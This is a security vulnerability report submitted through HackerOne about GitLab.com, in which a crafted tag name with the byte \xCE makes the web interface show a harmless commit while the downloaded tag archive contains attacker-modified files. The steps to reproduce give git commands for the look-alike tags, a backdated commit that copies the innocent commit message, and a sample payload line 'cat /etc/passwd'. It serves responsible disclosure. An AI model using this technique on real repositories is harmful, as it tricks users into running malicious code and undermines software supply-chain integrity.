Improper encoding of special character in tag name allows integrity compromise.
HackerOne report #2053335 by st4nly0n on 2023-07-06, assigned to @kmorrison1:
Report | Attachments | How To Reproduce
Report
Summary
The GitLab.com web interface does not guarantee the integrity of files obtained when downloading them from a repository based on a specific tag. Although the web interface displays harmless commits, it is possible that the downloaded content from a tag may contain malicious files. This vulnerability is possible because an attacker can create a tag with a specially designed name that contains the special character \xCE. For this character to be correctly represented and for the vulnerability to exist, the command-line environment must use a special character encoding. In the case of the environment where the attack is performed, the system encoding is configured as follows:
### COMMAND
locale
### STDOUT
LANG=
LANGUAGE=
LC_CTYPE="POSIX"
LC_NUMERIC="POSIX"
LC_TIME="POSIX"
LC_COLLATE="POSIX"
LC_MONETARY="POSIX"
LC_MESSAGES="POSIX"
LC_PAPER="POSIX"
LC_NAME="POSIX"
LC_ADDRESS="POSIX"
LC_TELEPHONE="POSIX"
LC_MEASUREMENT="POSIX"
LC_IDENTIFICATION="POSIX"
LC_ALL= The above configuration is important because, for example, if the C.UTF-8 encoding is used when creating the tag with the special character \xCE, it would be represented as �, thus not achieving the expected behavior. It is worth noting that a Docker image of Ubuntu 22.04 contains the proposed locale configuration for this issue and was also used in the proof of concept.
It is important to highlight that this problem has the same attack scenario and impact as report #1760033, and it presents several scenarios where an attacker could exploit this issue to inject malicious code, for example:
- An attacker creates a repository with tags that contain malicious code when downloaded from the web interface.
- An attacker with developer permissions in a project pushes tags that contain malicious code when downloaded from the web interface (scenario presented in report #1760033).
Steps To Reproduce
- You must perform the following steps as the victim user
1. Create a repository on gitlab.com.
2. Invite a member with developer permissions.
3. Create a file named hello.sh with the following content: echo "hello world"
4. Create some test tags with any name.
- You must perform the following steps as the attacker user (User invited in step 2 of the victim.)
1. Clone the repository created in step 1 and navigate to it:
git clone <repo>
cd <repo>
2. Create a new branch called temp and switch the repository's current state to that branch:
git checkout -b temp
3. Make a harmless change to the hello.sh file:
echo 'echo "HELLO WORLD"' > hello.sh
4. Commit the previous change:
git add .
git commit -m 'Fix-String'
5. Create the shell variable INOFENSIVE_COMMIT with the current commit identifier:
INOFENSIVE_COMMIT=$(git rev-parse HEAD)
6. Create a tag named v6.0.0-\xCE.BETA that points to the commit identified by $INOFENSIVE_COMMIT:
git tag $'v6.0.0-\xCE.BETA' $INOFENSIVE_COMMIT
7. Create a new branch called hack and switch the repository's current state to that branch:
git checkout -b hack
8. Modify the hello.sh file with the payload of your choice:
### EXAMPLE
echo 'cat /etc/passwd' > hello.sh
9. Stage the changes made to the hello.sh file for commit in the repository:
git add .
10. Perform a commit using a message extracted from the commit referenced by $INOFENSIVE_COMMIT. This means that the commit message will be the same as the initially performed commit.
git commit -m $(printf %s $(git show -s --format=%s $INOFENSIVE_COMMIT))
11. Make a correction in the most recent commit to change the commit date to August 20, 2017. This action attempts to manipulate the repository's history and hide the existence of malicious changes made later.
GIT_COMMITTER_DATE="Mon 20 Aug 2017 00:00:00 BST" git commit --amend --no-edit --date "Mon 20 Aug 2017 00:00:00 BST"
12. Create a new tag named v6.0.0-%CE.BETA. No specific commit is specified for this tag, as it is associated with the current commit in the hack branch.
git tag $'v6.0.0-%CE.BETA'
13. Push the tags created in the previous steps to the remote repository:
git push origin --tags
14. Switch the repository's current state to the main branch:
git checkout main As a result of the aforementioned steps, the GitLab.com web interface displays a tag that shows a harmless commit about a file. However, when the files are downloaded from the tag, they represent a security risk to the victim's system.
Watch the attack scenario and impact in the following proof-of-concept video, which shows a victim who, before downloading the files from a tag, first checks the displayed commit through the web interface to see that it does not pose a security risk. The victim then downloads and executes the file on their system, resulting in running the code injected by the attacker.
What is the current bug behavior?
The GitLab web interface does not guarantee the integrity of files when downloading the source code from a tag.
What is the expected correct behavior?
The information displayed in the GitLab web interface about changes made to any file should be the same as what the end user will obtain when downloading the source code from a tag.
Output of checks
This bug happens on GitLab.com
Impact
This vulnerability could allow an attacker to include malicious content within a tag, compromising the integrity and security of files downloaded by users from the GitLab.com web interface. Depending on the nature of the malicious content, this could lead to unauthorized code execution, obtaining sensitive information, or any other adverse impact on users' and system security.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: